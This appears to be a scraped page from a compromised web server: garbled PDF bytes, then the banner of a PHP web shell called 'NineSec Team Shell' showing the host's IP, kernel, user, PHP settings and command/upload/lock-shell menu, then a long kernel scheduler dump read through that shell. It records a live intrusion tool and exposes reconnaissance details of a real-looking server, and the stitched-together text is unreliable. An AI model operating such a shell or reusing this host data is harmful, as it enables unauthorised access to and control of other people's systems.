%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 118.98.227.230  /  Your IP : 216.73.216.34
Web Server : nginx/1.18.0
System : Linux p3gtk 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../proc/sys/../2694018/../

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //../proc/sys/../2694018/../sched_debug
Sched Debug Version: v0.11, 5.4.0-216-generic #236-Ubuntu
ktime                                   : 5763547344.046176
sched_clk                               : 5763503528.095390
cpu_clk                                 : 5763503491.422090
jiffies                                 : 5735779088
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 24.000000
  .sysctl_sched_min_granularity            : 3.000000
  .sysctl_sched_wakeup_granularity         : 4.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 2042683
  .sysctl_sched_tunable_scaling            : 1 (logarithmic)

cpu#0, 2399.998 MHz
  .nr_running                    : 0
  .nr_switches                   : 4347355034
  .nr_load_updates               : 0
  .nr_uninterruptible            : 168428
  .next_balance                  : 5735.779089
  .curr->pid                     : 0
  .clock                         : 5763503491.436577
  .clock_task                    : 5763503491.436577
  .avg_idle                      : 352856
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/system.slice/php7.4-fpm.service
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 5405896.888573
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -517954658.799661
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 43
  .runnable_load_avg             : 0
  .util_avg                      : 43
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 43
  .tg_load_avg                   : 1653
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 5763503452.420263
  .se->vruntime                  : 499413464.599556
  .se->sum_exec_runtime          : 30484002.650005
  .se->load.weight               : 66139
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 2
  .se->avg.util_avg              : 43
  .se->avg.runnable_load_avg     : 0

cfs_rq[0]:/system.slice/mysql.service
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 278501.430881
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -523082054.257353
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 1084
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 5763503313.055596
  .se->vruntime                  : 499413428.731637
  .se->sum_exec_runtime          : 322047.177669
  .se->load.weight               : 1034
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0
  .se->avg.runnable_load_avg     : 0

cfs_rq[0]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 499413464.599556
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -23947091.088678
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 2
  .runnable_load_avg             : 0
  .util_avg                      : 43
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 2
  .tg_load_avg                   : 1248
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 5763503452.420263
  .se->vruntime                  : 523360555.688234
  .se->sum_exec_runtime          : 123695911.112300
  .se->load.weight               : 4492
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 43
  .se->avg.runnable_load_avg     : 0

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 523360555.688234
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 22
  .runnable_load_avg             : 0
  .util_avg                      : 43
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        systemd     1     24316.223480   2144320   120         0.000000    634104.230361         0.000000 0 0 /init.scope
 I         rcu_gp     3        13.982702         2   100         0.000000         0.007355         0.000000 0 0 /
 I     rcu_par_gp     4        15.984254         2   100         0.000000         0.005718         0.000000 0 0 /
 I   kworker/0:0H     6      2399.092645         4   100         0.000000         0.028209         0.000000 0 0 /
 S    ksoftirqd/0     9 523360449.667605   1163763   120         0.000000     13757.048739         0.000000 0 0 /
 S    migration/0    11         0.000000   1467372     0         0.000000     25637.752155         0.000000 0 0 /
 S  idle_inject/0    12         0.000000         3    49         0.000000         0.011717         0.000000 0 0 /
 S        cpuhp/0    14     12228.007554        11   120         0.000000         0.289876         0.000000 0 0 /
 I             md   185       892.967253         2   100         0.000000         0.022997         0.000000 0 0 /
 S  irq/38-pciehp   212         0.000000         3    49         0.000000         0.045064         0.000000 0 0 /
 S  irq/54-pciehp   228         0.000000         3    49         0.000000         0.092555         0.000000 0 0 /
 S      scsi_eh_2   381      2370.958701         2   120         0.000000         0.136089         0.000000 0 0 /
 I   kworker/0:1H   522 523360532.751805   1578622   100         0.000000     67379.455036         0.000000 0 0 /
 S          snapd 2073376      1285.796017       107   120         0.000000       202.527858         0.000000 0 0 /system.slice/snapd.service
 S            php 2659237   5405892.255626    822017   120         0.000000    465814.950682         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2665017   5405887.741611    812529   120         0.000000    446863.239959         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2674404   5405887.959697    779442   120         0.000000    413810.047230         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2674408   5405887.108669    787339   120         0.000000    413376.794466         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2674624   5405887.957536    787480   120         0.000000    413572.037425         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2674679   5405894.690468    786625   120         0.000000    413332.691120         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2674730   5405887.543309    791247   120         0.000000    411963.205236         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2674966   5405887.943889    529867   120         0.000000    333478.378022         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2674973   5405892.287958    784629   120         0.000000    411677.026868         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2675045   5405887.098447    786033   120         0.000000    413505.402859         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2675095   5405889.078288    770128   120         0.000000    412130.753357         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2675105   5405887.330559    632756   120         0.000000    382106.918232         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2675155   5405888.242064    783285   120         0.000000    410876.534369         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2675206   5405885.948970    425315   120         0.000000    264966.543297         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2675252   5405888.859795    629954   120         0.000000    380370.448763         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683420   5405895.785368    755506   120         0.000000    384777.874532         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683442   5405890.797856    759534   120         0.000000    385417.740838         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683534   5405887.969341    745671   120         0.000000    381460.719648         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683746   5405888.681530    758365   120         0.000000    385502.263836         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683870   5405887.925273    743859   120         0.000000    382864.753311         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683876   5405894.985314    758130   120         0.000000    380998.789945         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683909   5405889.631678    759507   120         0.000000    382873.292774         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684040   5405888.545350    752419   120         0.000000    384415.026548         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684052   5405888.238106    759358   120         0.000000    385551.099875         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684176   5405888.442465    753987   120         0.000000    382936.997212         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684323   5405888.475273    746166   120         0.000000    383918.303712         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684424   5405889.156980    756939   120         0.000000    383356.290778         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684443   5405888.703812    619776   120         0.000000    361277.535468         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684472   5405888.509461    752913   120         0.000000    382931.833696         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684485   5405893.496868    750677   120         0.000000    385055.441172         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684535   5405892.556024    524335   120         0.000000    320114.097274         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684541   5405888.584164    767140   120         0.000000    393284.903788         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684600   5405896.758407    749069   120         0.000000    383963.283393         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684864   5405888.345192    748034   120         0.000000    383778.502097         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2692853   5405887.414885    702380   120         0.000000    361176.921179         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2692902   5405886.281157    704862   120         0.000000    361051.918387         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2692990   5405887.369291    380020   120         0.000000    229781.832446         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2693042   5405888.462687    708829   120         0.000000    362006.137943         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2693063   5405894.176343    699151   120         0.000000    360256.083562         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2693485   5405893.815111    696136   120         0.000000    358944.632826         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2693800   5405885.790297    376483   120         0.000000    227440.785610         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2693843   5405892.593879    625596   120         0.000000    347640.743118         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2694039   5405886.830998    376868   120         0.000000    229256.970572         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2694048   5405894.437799    700159   120         0.000000    358274.025124         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2700955   5405886.010650    653631   120         0.000000    334248.518491         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2701966   5405893.678002    661851   120         0.000000    332127.225311         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2702124   5405887.555910    547888   120         0.000000    311895.992400         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2703503   5405889.760699    641969   120         0.000000    325408.952502         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2703513   5405887.192530    644831   120         0.000000    326180.695942         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2706975   5405889.533630    625221   120         0.000000    315390.827713         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2707492   5405887.746391    618833   120         0.000000    314153.938312         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2709409   5405891.391352    609980   120         0.000000    307530.224660         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2710114   5405887.712865    325935   120         0.000000    195521.981725         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2711418   5405889.095130    602026   120         0.000000    300670.597581         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2714841   5405887.927149    581698   120         0.000000    288189.355422         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2715357   5405887.773198    578192   120         0.000000    287093.465762         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2715422   5405890.862602    580003   120         0.000000    286653.896345         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2716062   5405889.804285    577054   120         0.000000    285663.136843         0.000000 0 0 /system.slice/php7.4-fpm.service
 S     ib_io_ibuf 2716251    278489.451072    379233   120         0.000000     14713.828249         0.000000 0 0 /system.slice/mysql.service
 S     connection 2723011    278495.605546    462380   120         0.000000    576445.333804         0.000000 0 0 /system.slice/mysql.service
 S            php 2716632   5405886.572685    576996   120         0.000000    283708.319410         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2716655   5405894.141068    573690   120         0.000000    281818.848930         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2717088   5405888.130163    566421   120         0.000000    280286.294387         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2719023   5405892.243991    562037   120         0.000000    272869.781827         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2722036   5405889.441425    543592   120         0.000000    264609.556873         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2722852   5405888.498822    534662   120         0.000000    262822.602632         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2726810   5405892.279605    513884   120         0.000000    252086.637726         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2727263   5405893.739298    501450   120         0.000000    250196.306678         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2732854   5405886.274468    468916   120         0.000000    233319.370017         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2735818   5405886.831540    450935   120         0.000000    222564.889443         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2736295   5405889.268088    445921   120         0.000000    219473.626308         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2737140   5405888.118731    235354   120         0.000000    140219.242034         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2750049   5405892.971755    364584   120         0.000000    177304.461247         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2753101   5405890.697297    338767   120         0.000000    166487.042190         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2756784   5405887.181617    167851   120         0.000000     98289.884566         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2769783   5405893.645527    241169   120         0.000000    115414.234969         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2769847   5405888.615572    238819   120         0.000000    115870.371051         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2771416   5405892.943322    230123   120         0.000000    110375.045611         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2782420   5405886.286301     98595   120         0.000000     55595.768901         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2788134   5405891.241179    117990   120         0.000000     57518.592534         0.000000 0 0 /system.slice/php7.4-fpm.service
 I    kworker/0:0 2803203 523201729.758622     22922   120         0.000000      2306.216649         0.000000 0 0 /
 I    kworker/0:2 2806026 523360434.663424      2823   120         0.000000       278.014204         0.000000 0 0 /

cpu#1, 2399.998 MHz
  .nr_running                    : 0
  .nr_switches                   : 3429356627
  .nr_load_updates               : 0
  .nr_uninterruptible            : 148384
  .next_balance                  : 5735.779089
  .curr->pid                     : 0
  .clock                         : 5763503491.485960
  .clock_task                    : 5763503491.485960
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/system.slice/php7.4-fpm.service
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 3454850.544354
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -519905705.143880
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 72
  .runnable_load_avg             : 0
  .util_avg                      : 71
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 72
  .tg_load_avg                   : 1672
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 5763503489.658825
  .se->vruntime                  : 397628747.989366
  .se->sum_exec_runtime          : 27852499.664335
  .se->load.weight               : 46147
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 3
  .se->avg.util_avg              : 72
  .se->avg.runnable_load_avg     : 0

cfs_rq[1]:/system.slice/mysql.service
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 268564.670327
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -523091991.017907
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 1084
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 5763503419.832108
  .se->vruntime                  : 397628725.825137
  .se->sum_exec_runtime          : 313058.930916
  .se->load.weight               : 41020
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0
  .se->avg.runnable_load_avg     : 0

cfs_rq[1]:/system.slice
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 397628747.989366
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -125731807.698868
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 3
  .runnable_load_avg             : 0
  .util_avg                      : 72
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 5
  .tg_load_avg                   : 1277
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 5763503489.658825
  .se->vruntime                  : 414280501.372283
  .se->sum_exec_runtime          : 95424821.811712
  .se->load.weight               : 2538
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 72
  .se->avg.runnable_load_avg     : 0

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 414280501.372283
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -109080054.315951
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 38
  .runnable_load_avg             : 0
  .util_avg                      : 82
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        cpuhp/1    15     10949.008111        10   120         0.000000         0.307704         0.000000 0 0 /
 S  idle_inject/1    16        -3.000000         3    49         0.000000         0.003930         0.000000 0 0 /
 S    migration/1    17         0.000000   1467328     0         0.000000     23382.598770         0.000000 0 0 /
 S    ksoftirqd/1    18 414280341.652151   1477949   120         0.000000     42489.178639         0.000000 0 0 /
 I   kworker/1:0H    20       981.116631         5   100         0.000000         0.046539         0.000000 0 0 /
 S     oom_reaper   113        34.951406         2   120         0.000000         0.000000         0.000000 0 0 /
 I      writeback   114        34.951406         2   100         0.000000         0.000000         0.000000 0 0 /
 I     devfreq_wq   187        34.951772         2   100         0.000000         0.000000         0.000000 0 0 /
 S        kswapd0   194 414262829.932648     96258   120         0.000000   1107320.026167         0.000000 0 0 /
 S  irq/39-pciehp   213         0.000000         3    49         0.000000         0.086578         0.000000 0 0 /
 S  irq/55-pciehp   229         0.000000         3    49         0.000000         0.068914         0.000000 0 0 /
 I         cryptd   338       638.497167         2   100         0.000000         0.018215         0.000000 0 0 /
 I     mpt_poll_0   339       638.506142         2   100         0.000000         0.028705         0.000000 0 0 /
 Iext4-rsv-conver   465       957.858910         2   100         0.000000         0.031951         0.000000 0 0 /
 I   kworker/1:1H   521 414280479.669590   1294838   100         0.000000     54161.760039         0.000000 0 0 /
 S    dbus-daemon   961      9105.152628    639037   120         0.000000    229268.626966         0.000000 0 0 /system.slice/dbus.service
 S     irqbalance   966     18768.432341    618435   120         0.000000   1233184.626605         0.000000 0 0 /system.slice/irqbalance.service
 S          snapd 2073191     31244.526883     42376   120         0.000000     60961.901579         0.000000 0 0 /system.slice/snapd.service
 S            php 2665401   3454846.049606    816185   120         0.000000    444968.383656         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2674396   3454850.211454    783662   120         0.000000    412720.012955         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2674683   3454843.720102    781980   120         0.000000    410895.384399         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2674879   3454839.241411    778831   120         0.000000    411650.862888         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2674894   3454841.405516    774360   120         0.000000    410011.461324         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2674904   3454842.846208    782340   120         0.000000    413128.164683         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2674934   3454843.924372    774492   120         0.000000    413442.197061         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2675078   3454842.374791    776312   120         0.000000    411343.008640         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2675085   3454840.365604    779685   120         0.000000    412500.230210         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2675091   3454843.805814    783726   120         0.000000    410809.745170         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2675134   3454840.938199    769407   120         0.000000    409651.213699         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2675211   3454843.249735    776552   120         0.000000    409200.756093         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2675217   3454841.097489    766919   120         0.000000    411903.950012         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683457   3454844.921439    743920   120         0.000000    385433.353512         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683481   3454844.228225    752945   120         0.000000    384446.610294         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683518   3454840.114316    550013   120         0.000000    332442.371629         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683781   3454843.608136    752685   120         0.000000    384840.543383         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683788   3454840.375698    748334   120         0.000000    384074.863097         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683860   3454839.713375    403772   120         0.000000    247327.836665         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683864   3454841.760387    756491   120         0.000000    385413.968790         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683899   3454839.903396    739516   120         0.000000    383808.507944         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683963   3454839.445511    404607   120         0.000000    245788.735738         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2683965   3454839.732113    746707   120         0.000000    383531.290572         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684027   3454839.676085    403399   120         0.000000    248012.510892         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684036   3454841.920859    748726   120         0.000000    383877.492937         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684178   3454845.225296    749188   120         0.000000    384734.649337         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684238   3454839.411521    755855   120         0.000000    385123.802470         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684240   3454846.944677    748067   120         0.000000    384870.589474         0.000000 0 0 /system.slice/php7.4-fpm.service
 S            php 2684257   3454843.758912    742690   120         0.000000    382557.065157         0.000000 0 0 /system.slice/php7.4-fpm.service
